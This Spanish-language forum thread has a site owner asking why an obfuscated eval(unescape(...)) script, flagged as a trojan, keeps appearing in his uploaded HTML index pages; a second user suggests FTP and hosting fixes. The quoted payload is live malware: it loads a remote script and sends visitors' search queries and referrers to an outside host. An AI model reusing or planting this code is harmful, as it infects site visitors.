Problema con HTML: Me dice que tiene un troyano

[malvavisc0]

Hola amigos!
Pues tengo un grave problema con unos index hechos en HTML y no se a que se debe.
El problema es que yo hago mi index y lo subo y hasta ahi todo va normal, pero
parece ser que a la hora de subirlono sé que problema ocasiona o quien lo ocasiona o porque pero se modifica el codigo de mi HTML por ejemplo,
este es mi codigo antes de subirlo:

Código HTML:

</style>
<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" media="all" href="CSS/estilos.css" />
</head> 

luego checo el codigo fuente desde mozilla y me sale esto:

Código HTML:

</style>
<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" media="all" href="CSS/estilos.css" />
<script>eval( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72%75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29%2e%73%70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65%2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));</script></head> 

además de eso cuando intento entrar a mi pagina desde windows y con el explorador algunas maquinas me dicen que tiene un troyano. Ya intente cambiarle los permisos en el FTP de 644 a 444 pero creo que no se puede y no se a que se debe.

Les agradeceria mucho que me ayudaran
Gracias de antemano!

[malvavisc0]

tambien lo valide con el w3C y me marca como error el codigo ese rarito

[gVenom]

sube tus archivos con otro programa ftp, puede ser que el es quien te inserta el código. Tu servidor es gratuito o pago?

[malvavisc0]

De pago. por eso se me hace más raro.
Yo ni me habia dado cuenta porque uso mac pero intente entrar desde una windows y me salio ese error

[gVenom]

que ftp usas?

[malvavisc0]

Utilizo el cyberduck, pero nunca me habia dado problemas y solo me aparece algo raro en los index (no en todos) en el resto de mis HTML no :S

[gVenom]

te recomiendo, intenta con otro programa ftp. Primero borra tu index del servidor, si puedes borra todos tus files, escanealos en tu ordenador con un buen antivirus como AVG o McaFFe y subelos de nuevo con el nuevo programa. Si te vuelve a insertar codigo malicioso es mejor que contactes a tu proveedor del servicio, al rato son ellos y no tu.